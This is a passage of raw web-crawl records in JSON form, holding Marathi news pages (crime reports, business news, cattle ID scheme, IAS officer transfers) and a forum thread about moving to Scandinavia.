12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00241.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://www.maayboli.com/hitguj/messages/103388/119743.html?1164795010", "date_download": "2018-09-25T17:09:33Z", "digest": "sha1:DIRXIPNCUIXMGGMQSUFDCGKCQTY3YK2S", "length": 3359, "nlines": 34, "source_domain": "www.maayboli.com", "title": "Norway.Sweedan, Denmark vishayee kahi...", "raw_content": "\nनार्वे, स्विडन, डेन्मार्क मध्ये कोणी रहात आहे का तिकडे जाण्याचा विचार आहे...कोणी असल्यास कळवावे. < तिकडे जाण्याचा विचार आहे...कोणी असल्यास कळवावे. <-/*1-\n>मि स्विडन ला जाउन आले आहे काहि काळाकरता. तुला कहि माहिति हवि असेल तर सान्ग. <-/*1-\nआम्ही डेन्मार्कला जाण्याच्या विचारात आहोत. तेथील काही महिती असेल तर बरे होइल. म्हणजे मराठी कम्युनिटी, शाळा, तेथील लोक, फूड इत्यादी.. एकुण काय तर मराठी माणुस तिकडे रमु शकेल का माझा मुलगा ९वीत जाईल...त्याचे शिक्शण कसे असेल..याविषयी जाणुन घेण्यास मी उत्सुक आहे. < माझा मुलगा ९वीत जाईल...त्याचे शिक्शण कसे असेल..याविषयी जाणुन घेण्यास मी उत्सुक आहे. <-/*1-\n>अरे, मला डेन्मार्क बद्दल नाहि रे काहि माहिति. <-/*1-\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00241.warc.wet.gz", "language": "mr", "language_score": 0.6, "bucket": "all"} {"url": "http://www.esakal.com/mumbai/crime-thane-42492", "date_download": "2018-09-25T17:32:27Z", "digest": "sha1:DVD2Z5XUKFR6EUB7JS72MCPMYOA6YNCP", "length": 9139, "nlines": 167, "source_domain": "www.esakal.com", "title": "crime in thane विनयभंग करणाऱ्यास चार वर्षे सक्तमजुरी | eSakal", "raw_content": "\nविनयभंग करणाऱ्यास चार वर्षे सक्तमजुरी\nशुक्रवार, 28 एप्रिल 2017\nठाणे - ठाण्यातील वागळे इस्टेट पोलिस ठाण्याच्या हद्दीतील अंबिकानगर येथील एका महिलेच्या घरामध्ये घुसून तिचा विनयभंग करणाऱ्या आरोपीला चार वर्षे तीन महिन्यांची सक्तमजुरीची शिक्षा सुनावण्यात आली आहे. विजय गंगाधर सोनावणे असे या आरोपीचे नाव असून, त्याच्यावर यापूर्वी वागळे इस्टेट पोलिस ठाण्यात 16 गुन्हे दाखल आहेत. महिलेच्या तक्रारीवरून वागळे इस्टेट पोलिसांनी 2 मार्च 2015 रोजी त्याला अटक केली होती.\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nधमकीचा निरोप खुनाचा वाटून धावाधाव\nसंगमेश्वर - खुनाचा गुन्हा दाखल असलेल्या एकाने भावाला तुझे दोन्ही पाय तोडून जंगलात टाकतो, अशी धमकी दिली. घाबरलेल्या त्याच्या पत्नीने आपल्या...\nतहसिलचा ताबा घेऊन तेथे आंदोलन करू असा इशारा : राजू देसले\nनांदगाव : तालुक्यातील प्रशासकीय यंत्रणा उदासीन असल्याने न्यायिक हक्काच्या मागण्यासाठी आज काढण्यात आलेला मोर्चा हा शेवटचा असून यापुढे मोर्चा...\n...तर युवक महोत्सव उधळून लावू\nऔरंगाबाद : कुलगुरूंच्या दालनात आंदोलन करणाऱ्या अभाविपच्या कार्यकर्त्यांवर कारवाई केली नाही, तर बुधवारपासून (ता. 26) सुरू होणारा केंद्रीय युवक महोत्सव...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00242.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/National/cows-and-buffaloes-unique-id-numbers-scheme-government/", "date_download": "2018-09-25T17:06:00Z", "digest": "sha1:MNRWCOOBZEJX3SF4AGOUQEJEEWM4CHNF", "length": 4721, "nlines": 35, "source_domain": "www.pudhari.news", "title": " आता गाई आणि म्‍हशींनाही ‘आधार’ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › National › आता गाई आणि म्‍हशींनाही ‘आधार’\nआता गाई आणि म्‍हशींनाही ‘आधार’\nनवी दिल्‍ली : पुढारी ऑनलाईन\nआधार कार्ड अनिवार्य करण्यावरून सध्या देशात गोंधळ सुरु असताना दुसरीकडे गाय आणि म्‍हशींसाठीही १२ अंकी नंबर असलेले आधार कार्ड तयार करण्याच्या हालचाली केंद्रात सुरु आहेत. या आधार कार्डच्या माध्यमातून दुधाळू गाई आणि म्‍हशींची ओळख आणि दूध उत्‍पादन वाढीस चालना देण्याचा हेतु असल्‍याचे सांगण्यात येत आहे.\nदेशातील ९ कोटी गाई आणि म्हशींची तपासणी करण्यासाठी १४८ कोटी रुपयांची तरतूद करण्यात आली आहे. कृषी मंत्री राधा मोहन सिंग यांनी सोमवारी लोकसभेत याबाबत माहिती दिली. सिंह म्‍हणाले, ‘‘ या योजनेमुळे जनावरांचे वैज्ञानिक प्रजनन, रोग प्रसार वाढ रोखणे आणि दुग्धजन्य पदार्थांच्या वाढीचे उद्दीष्ट साध्य केले जाईल.’’\n‘‘राष्ट्रीय पशु उत्पादकता मिशनच्या 'पशु संजीवनी' अंतर्गत ही योजना राबविण्यात येत आहे. नॅशनल डेअरी डेव्हलपमेंट बोर्डाने यापूर्वीच पशु आरोग्य आणि उत्पादन संबंधीत नेटवर्क (INAPH) तंत्रज्ञान विकसीत केले आहे. त्‍यातून १२ अंकी ओळख क्रमांक वापरून जनावरांसंबधीत माहिती गोळा करण्याचा प्रयोग सुरु आहे.’’ अशी माहिती सिंह यांनी दिली.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00242.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/business/page/4", "date_download": "2018-09-25T17:17:24Z", "digest": "sha1:44G72JBJSR4OBWC2QCM6M5TMPRSI3NOA", "length": 9249, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "उद्योग Archives - Page 4 of 294 - तरुण भारत | तरुण भारत", "raw_content": "\n1 एप्रिलपासून नवीन बँक सुरू\n31 मार्चपर्यंत तिन्ही बँकांचे विलीनीकरण पूर्ण वृत्तसंस्था/ नवी दिल्ली बँक ऑफ बडोदा, देना बँक आणि विजया बँका या सार्वजनिक क्षेत्रातील तीन बँकांचे विलीनीकरण चालू आर्थिक वर्षाच्या अखेरपर्यंत पूर्ण करण्याचे लक्ष्य सरकारने ठेवले आहे. यामुळे पुढील आर्थिक वर्षापासून देशातील नवीन आणि तिसऱया क्रमांकाची बँक कार्यरत होईल असे सूत्रांकडून सांगण्यात आले. तिन्ही बँकांच्या विलीनीकरणाची प्रक्रिया सुरू करण्यात येणार आहे. बँकांच्या संचालका ...Full Article\nप्रवासी वाहनांत मारुती सुझुकीचे स्थान कायम\nनवी दिल्ली देशातील प्रवासी कारमध्ये मारुती सुझुकी इंडियाचे वर्चस्व कायम आहे. ऑगस्टमध्ये विक्री करण्यात आलेल्या दहामध्ये सहा कार या मारुती सुझुकीच्या आहेत. वाहन उत्पादकांची संघटना सियामच्या आकडेवारीनुसार, ऑगस्टमध्ये अल्टो ...Full Article\nस्टीलवरील आयात कर वाढविण्याचा प्रस्ताव\nवृत्तसंस्था/ नवी दिल्ली काही स्टील उत्पादनांच्या आयातीवरील करात वाढ करण्यासाठी सरकारकडून विचार करण्यात येत आहे. सध्या स्टील उत्पादनांवर सरकारकडून 5 ते 12.5 टक्के आयात कर आकारण्यात येतो. तो वाढवित ...Full Article\nसमारा कॅपिटल, ऍमेझॉनकडे ‘मोअर’\nवृत्तसंस्था/ नवी दिल्ली समारा कॅपिटल आणि ऍमेझॉन यांच्या मोअर ही फळे आणि किराणा रिटेल चेन खरेदी करण्यासाठी व्यवहार झाला. आदित्य बिर्ला समूहाची मालकी असणारी ही रिटेल साखळी देशातील चौथ्या ...Full Article\nम्युच्युअल फंडमध्ये गुंतवणूक करणे झाले स्वस्त\nवृत्तसंस्था/ नवी दिल्ली सेबीने म्युच्युअल फंड गुंतवणुकीवरील टोटल एक्स्पेन्स रेशो (टीईआर) घटविला आहे. यामुळे म्युच्युअल फंडमध्ये आता गुंतवणूक करणे स्वस्त होणार आहे. या निर्णयाचा म्युच्युअल फंडमध्ये गुंतवणूक करणाऱया सामान्य ...Full Article\nसलग दुसऱया सत्रात बाजारात घसरण\nनिफ्टी 11,300 च्या खाली : रुपयाची घसरण कायम वृत्तसंस्था/ मुंबई आंतरराष्ट्रीय पातळीवर व्यापार युद्ध आणि रुपया कमजोर झाल्याने सलग दुसऱया सत्रात बाजारात घसरण झाली. वित्त आणि वाहन कंपन्यांच्या समभागात ...Full Article\nरिलायन्स जनरल इन्शुरन्स होणार सूचीबद्ध\nमुंबई पुढील 12 ते 18 महिन्यात आर्थिक व्यवसायाव्यतिरिक्त अन्य क्षेत्रातून बाहेर पडण्याचा निर्णय घेतल्याचे रिलायन्स कॅपिटलचे प्रमुख अनिल अंबानी यांनी सांगितले. यामुळे कंपनीचे कर्ज घटविण्यास मदत होईल. चालू आर्थिक ...Full Article\nयंदा विक्रमी कृषी उत्पादन होण्याची सरकारला अपेक्षा\nवृत्तसंस्था/ नवी दिल्ली 2018-19 या चालू आर्थिक वर्षात देशातील कृषी क्षेत्रातून 28.52 कोटी टन विक्रमी धान्य उत्पादन होण्याची सरकारला अपेक्षा आहे. गेल्या आर्थिक वर्षात 28.483 कोटी टन धान्य उत्पादन ...Full Article\nराजीव बन्सल यांना 12.17 कोटी देण्याचा इन्फोसिसला आदेश\nवृत्तसंस्था/ नवी दिल्ली माजी प्रमुख वित्तीय अधिकारी राजीव बन्सल यांना 12.17 कोटी रुपये देण्याचा आदेश इन्फोसिसला देण्यात आला. या रकमेवर व्याजही आकारण्यात येणार आहे. 2015 मध्ये बन्सल यांनी इन्फोसिसचा ...Full Article\nदूरसंचार क्षेत्रातून अनिल अंबानी बाहेर\nवृत्तसंस्था/ मुंबई दूरसंचार क्षेत्रातून पूर्णपणे बाहेर पडण्याचा निर्णय रिलायन्स कम्युनिकेशन्सने घेतल्याचे अध्यक्ष अनिल अंबानी यांनी मंगळवारी घोषित केले. कंपनी सध्या कर्जाच्या ओझ्याखाली असून या क्षेत्रातून बाहेर पडणार असून रिअल ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00242.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/page/50", "date_download": "2018-09-25T17:30:21Z", "digest": "sha1:5WRMJ46FYCM6PX2A3QRJPGDCIMFSWHM6", "length": 9521, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "आवृत्ती Archives - Page 50 of 3287 - तरुण भारत | तरुण भारत", "raw_content": "\nमहिला काँग्रेसच्या नवीन लोगोचे अनावरण\nप्रतिनिधी/ पणजी महिला काँग्रेस समितीला 35 वर्षे पूर्ण होत असल्याने काल गोवा प्रदेश महिला कॉगेसतर्फे नविन लोगोचे अनावरण करण्यात आले. गोवा प्रदेश महिला कॉंग्रेसच्या उपाध्यक्षा बिना नाईक यांच्या हस्ते या लोगोचे अनावरण करण्यात आले. महिला कॉंग्रेस संघटना ही खूप जूनी असून इतर राजकीय पक्षाच्या महिला संघटनापेक्ष खूप मोठी आहे. 15 सप्टेंबर 1984 साली याची स्थापना करण्यात आली आहे. देशभरातील ...Full Article\nराजकीय घडामोडींवर काँग्रेसचे लक्ष\nप्रतिनिधी/ पणजी राज्यात सत्तेवर असलेल्या भाजप आणि सहकारी पक्ष यांच्यात नेतृत्व बदलावरून सध्या अंतर्गत धूसफुस सुरू झाली आहे. सरकारमधील या अंतर्गत घडामोडींवर काँग्रेस पक्ष लक्ष ठेवून आहे. सरकारमधील दुसऱया ...Full Article\nपडळकरांची जनतेने लायकी दाखवून दिली\nप्रतिनिधी/ सांगली भाजपशी काडीमोड घेवून जिह्यात भाजपमध्ये एकही लायकीचा नेता नाही, असा आरोप करणाऱया गोपीचंद पडळकर यांची जनतेने यापूर्वी लायकी दाखवून दिली आहे आणि यापुढच्या काळातही ती दाखवून दिली ...Full Article\nकर अधिकारी भरतीला आव्हान देणारी याचिका फेटाळली\nप्रतिनिधी/ पणजी बारा वर्षापूर्वी सरकारने भरती केलेल्या सहाय्यक क्यवसायिक कर अधिकाऱयांच्या भरतीला आव्हान देणारी वेलिंग येथील दीपक गावडे यांनी सादर केलेली याचिका मुंबई उच्च न्यायालयाच्या गोवा खंडपीठाने फेटाळली आहे. ...Full Article\nसांगलीत बेकायदेशीर गर्भपात करणाऱया हॉस्पिटलवर छापा\nप्रतिनिधी/ सांगली संपूर्ण राज्याला हादरून सोडणाऱया म्हैसाळ येथील बेकायदेशीर गर्भपाताचे प्रकरणाची चर्चा संपण्यापूर्वीच सांगली शहरातील मध्यवस्तीमध्ये असलेल्या चौगुले हॉस्पिटलवर छापा टाकून बेकायदेशीर गर्भपात होत असल्याची घटना उघडकीस आणली आहे. ...Full Article\nबार्शी शहर पोलीस ठाण्यासमोर पोलिसांना जमावाची मारहाण\nप्रतिनिधी/ बार्शी गणेश उत्सवामध्ये जिल्हाधिकाऱयांनी जमावबंदी आदेश लागू केलेले असताना बार्शी शहर पोलीस ठाण्यासमोर जमाव गोळा करून पोलिसांशी हुज्जत घालत पोलीस उपनिरीक्षकासह एका पोलिसांस मारहाण करून जखमी केले असून ...Full Article\nशहर व तालुक्याचा चेहरामोहरा बदलणार\nप्रतिनिधी/ फलटण शहरातील स्वच्छता केवळ प्रशासनावर अवंलबून नसते व्यवस्थापन, प्रशासन आणि कर्मचारी यांच्या संयुक्त प्रयत्नावर शहर स्वच्छता अवलंबून असते. तसेच नगरसेवक होण्यासाठी प्रत्येक नगरसेवकांनी आपापल्या प्रभागात नियमित फिरले पाहिजे, ...Full Article\nप्रशिक्षणाच्या माध्यमातून मूल्यमापन करा\nप्रतिनिधी/ वडूज स्थानिक स्वराज्य संस्था व स्वयंसेवी संस्थेच्या माध्यमातून गावोगावी महिला व इतर घटकांसाठी नेहमीच छोटय़ा-मोठय़ा प्रशिक्षण शिबिराचे आयोजन केले जाते. मात्र, या शिबिरातून प्रत्यक्षात किती लोकांना थेट फायदा ...Full Article\nचांगल्या इंजिनिअरसाठी उत्सुकता आवश्यक\nप्रतिनिधी/सातारा इंजिनिअरिंगला प्रवेश मिळून चार वर्षात पदवी मिळाली की, इंजिनिअर झाला एवढे इंजिनिअरिंग सोपे नाही. तर चांगला इंजिनिअर होण्यासाठी उत्सुकता कायम जागृत ठेवावी लागते, असे मत महर्षी कर्वे स्त्राr ...Full Article\nसमर्थ हॉस्पिटलचे पार्किंग रस्त्यावर\nप्रतिनिधी/ सातारा रस्ता अरुंद असतानाच भरवस्तीत असलेल्या समर्थ हाँस्पिटलमधील रुग्ण आणि नातेवाईक त्याच रस्त्यावर वाहने लावतात. स्वतःच्या पार्किंगच्या जागेचा कार्यालय आणि गोडाऊनसाठी वापर केला आहे. दिवस रात्री अँम्बुलंसचा आवाजाची ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00242.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/business/page/5", "date_download": "2018-09-25T17:17:28Z", "digest": "sha1:AEJRLOJHFYH4A7VYPM55VWN4PEW57ZIJ", "length": 9600, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "उद्योग Archives - Page 5 of 294 - तरुण भारत | तरुण भारत", "raw_content": "\nकार्यालयीन कामात 2025 पर्यंत रोबोटचा जास्त वापर\nजागतिक आर्थिक संघटनेचा अहवाल नवीन रोजगारनिर्मितीमध्ये वाढ वृत्तसंस्था/ नवी दिल्ली 2025 पर्यंत कार्यालयातील निम्म्यापेक्षा अधिक कामे मशिन करतील. अनेक कामामध्ये रोबोटचा वापर करण्यात आल्याने पुढील पाच वर्षांत 5.8 कोटी नवीन रोजगारनिर्मिती होईल. रोबोटिक्स आणि यांत्रिकीकरणाने सध्याच्या कामामध्ये मोठय़ा प्रमाणात बदल होईल, मात्र नवीन रोजगारांची संख्या पाहता हे बदल सकारात्मक आहे, असे जागतिक आर्थिक संघटनेच्या अहवालात म्हणण्यात आले. संघटनेकडून करण्यात ...Full Article\nजर्मन कार कंपन्यांची ईयूकडून चौकशी\nबुशेल्स प्रदूषण संदर्भातील तंत्रज्ञानात बदल करण्यात आल्याने जर्मनीच्या प्रमुख कार कंपन्यांविरोधात युरोपियन महासंघाकडून अधिक तपासणी करण्यात येणार आहे. तीन वर्षांपूर्वी वाहन क्षेत्रात उघडकीस आलेल्या डिझेलगेटची चौकशी करण्यात येईल. बीएमडब्ल्यू, ...Full Article\nअमेरिकत चिनी वस्तूंवर 200 अब्ज डॉलर्सचे शुल्क\nव्यापार युद्ध पेटले वृत्तसंस्था/ वॉशिंग्टन अमेरिकन राष्ट्राध्यक्ष डोनाल्ड ट्रम्प यांनी व्यापार युद्ध भडकवत सोमवारी चीनमधून आयात होणाऱया साधारण 200 अब्ज डॉलर्स किमतीच्या वस्तूंवर 10 टक्के आयात शुल्क लावण्याचा निर्णय ...Full Article\nइंधन दरवाढीचा पुन्हा भडका\nऑनलाईन टीम / मुंबई सरकारी तेल कंपन्यांनी मंगळवारीही पेट्रोल आणि डिझेलचे दर वाढवले. मुंबईत मंगळवारी पेट्रोल 10 पैशांनी तर डिझेल 9 पैशांनी महागले. मुंबईत मंगळवारी पेट्रोलचा प्रति लिटर दर ...Full Article\nरुपयाच्या कमजोरीने पाच शतकी घसरण\nसेन्सेक्स 505 अंकाने कमजोर : निफ्टी 11,400 च्या खाली वृत्तसंस्था/ मुंबई रुपयाचे होणारे अवमूल्यन रोखण्यासाठी दखल घेण्यात येईल असे सरकारकडून सांगण्यात आल्यानंतरही सोमवारी रुपया कमजोर झाली. रुपयाने नवीन नीचांक ...Full Article\nफ्लिपकार्टमुळे वॉलमार्टच्या उत्पन्नात घट\nवॉशिंग्टन फ्लिपकार्टचे अधिग्रहण पूर्ण करण्यात आल्याने चालू आणि पुढील आर्थिक वर्षात नक्त उत्पन्नावर परिणाम होईल असे वॉलमार्टकडून सांगण्यात आले. अमेरिकेच्या रिटेल क्षेत्रातील या दिग्गज कंपनीने गेल्या महिन्यात फ्लिपकार्टमधील 7 ...Full Article\nएचडीएफसी बँकेकडून ऑनलाईन नोटीस\nवृत्तसंस्था/ मुंबई नियमांचे उल्लंघन न करणाऱया ग्राहकांना ई मेल आणि व्हॉट्सऍपच्या माध्यमातून नोटीस पाठविण्यास एचडीएफसी बँकेने प्रारंभ केला. आधुनिक माध्यमातून प्रकरणांची लवकरात लवकर सोडवणूक होण्यास मदत होईल असे बँकेला ...Full Article\nप्रशासकीय कामातच कर्मचाऱयांचा वेळ खर्च\nकर्मचाऱयांना करावे लागते अन्य काम : उत्पादकतेवर परिणाम वृत्तसंस्था/ नवी दिल्ली व्यवस्थापनाकडून प्रशासकीय कामकाज दिल्याने कर्मचाऱयांच्या नेहमीच्या कामावर परिणाम होत असल्याचे अहवालातून समोर आले आहे. कर्मचाऱयांना नेहमीच्या कामाव्यतिरिक्त अन्य ...Full Article\nवृत्तसंस्था/ नवी दिल्ली सार्वजनिक क्षेत्रातील तीन बँकांचे विलीनीकरण करण्याची घोषणा सरकारकडून करण्यात आली. बँक ऑफ बडोदा, विजया बँक आणि देना बँक यांचे विलीनीकरण करत एकच बँक स्थापण्यात येईल. ही ...Full Article\nहॉटस्टारमधील हिश्श्यास फ्लिपकार्ट इच्छुक\nबेंगळूर स्टार इंडियाच्या हॉटस्टारमधील हिस्सा खरेदी करण्यासाठी फ्लिपकार्ट इच्छुक असल्याचे समोर येत आहे. देशातील वाढत्या व्हिडीओ स्ट्रिमिंग सेवेच्या माध्यमातून इंटरनेट ग्राहकांना आकर्षित करण्याचा कंपनीचा प्रयत्न आहे. दोन्ही कंपन्यांमध्ये या ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00243.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Mumbai-panvel-municipal-commissioner-sudhakar-shinde-finally-transfer/", "date_download": "2018-09-25T17:41:23Z", "digest": "sha1:FITHNVE2YD5ICS42C5CEPNL4EGOZCBRM", "length": 10085, "nlines": 59, "source_domain": "www.pudhari.news", "title": " राज्यात अायएएस अधिकाऱ्यांच्या बदल्या | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › राज्यात अायएएस अधिकाऱ्यांच्या बदल्या\nराज्यात अायएएस अधिकाऱ्यांच्या बदल्या\nमुंबई : विशेष प्रतिनिधी\nराज्यात आयएएस अधिकाऱ्यांच्या बदल्या करण्यात आल्या आहेत. यामध्ये पनवेल महापालिकेचे आयुक्त सुधाकर शिंदे यांची बदली महात्मा फुले जीवनदायी योजनेच्या आयुक्तपदी करण्यात आली आहे. भाजपचे स्थानिक आमदार प्रशांत ठाकूर यांच्याशी झालेला वाद त्यांना नडल्यामुळे ही बदली झाल्याची चर्चा आहे. त्यांच्या जागी गणेश देशमुख यांची नियुक्ती करण्यात आली आहे. पुण्याचे जिल्हाधिकारी सौरव राव हे आता पुणे महापालिकेचे आयुक्त असतील. ठाणे महापालिकेचे अतिरिक्त आयुक्त सुनील चव्हाण यांची बदली औरंगाबाद महापालिकेचे आयुक्त म्हणून करण्यात आली आहे.\nराज्य प्रशासनामध्ये फेरबदलाला सुरुवात झाली असून, सोमवारी बदल्यांची पहिली यादी प्रसिध्द करण्यात आली. सुधाकर शिंदे यांचा ठाकूर पिता पुत्रांशी वाद निर्माण झाला होता. या वादातून त्यांच्याविरोधात महापालिकेत अविश्‍वास ठरावही आणण्यात आला होता. तो मंजूर होऊ शकला नाही. त्यामुळे शिंदे पनवेल महापालिकेतच रहातील, अशी शक्यता वर्तविण्यात येत होती. मात्र, ठाकूर यांचे मुख्यमंत्र्यांकडे असलेले राजकीय वजन भारी पडल्याने शिंदे यांची बदली झाल्याची चर्चा आहे.\nठाणे महापालिकेचे अतिरिक्त आयुक्त सुनील चव्हाण यांना औरंगाबाद महापालिकेच्या आयुक्तपदाचा पदभार देण्यात आला आहे. औरंगाबाद महापालिकेत कचरा प्रकरण राज्यभर गाजले होते. मुळचे मराठवाड्यातील बीड जिल्ह्यातील असलेले आणि धडाडीचे अधिकारी अशी ओळख असलेल्या सुनील चव्हाण यांच्याकडे आता या प्रश्‍नावर तोडगा काढण्याची जबाबदारी असेल. तर औरंगाबादचे जिल्हाधिकारी नवलकिशोर राम यांची पुण्याच्या जिल्हाधिकारीपदी बदली करण्यात आली आहे.\nमुंबई उपनगराचे जिल्हाधिकारी दिपेंद्रसिंह कुशवाह यांचीही बदली नागपूर मनपा आयुक्त म्हणून तर त्यांच्या जागी सचिन कुर्वे यांची नियुक्ती करण्यात आल्याची चर्चा आहे. राज्य निवडणूक आयोगाचे सचिव शेखर चन्ने यांची परिवहन आयुक्तपदी, रत्नागिरीच्या जिल्हा परिषदेच्या मुख्य कार्यकारी अधिकारी लक्ष्मी नारायण मिश्रा यांची वाशिमच्या जिल्हाधिकारीपदी बदली करण्यात आली आहे.\nअन्य बदल्या पुढीलप्रमाणे ....\nअधिकारी सध्याचे ठीकाण बदलीचे ठीकाण\nराहुल व्दीवेदी - जिल्हाधिकारी वाशिम - जिल्हाधिकारी अहमदनगर\nआंचल गोयल - आयटीडीपी, डहाणू - सीईओ रत्नागिरी, जि.प.\nडॉ. एस. एल. माळी - आयुक्त, महिला व बालविकास - आयुक्त, नांदेड म.न.पा.\nमाधवी खोडे - अति. आयुक्त, आदिवासी विकास - आयुक्त, महिला व बालविकास\nएस. राममुर्ती - सीईओ, अकोला - महाव्यवस्थापक खाण खणीकर्म महामंडळ\nडॉ. संजय यादव - एमएमआरडीए - सीईओ अकोला जि.प.\nसी. एल. पुलकुंडवार - जिल्हाधिकारी, बुलढाणा - सह व्यवस्थापकीय संचालक, एमएसआरडीसी\nनिरुपमा डांगे - महाव्यवस्थापक खाण खणीकर्म महामंडळ - जिल्हाधिकारी, बुलढाणा\nडॉ. बिपिन शर्मा - 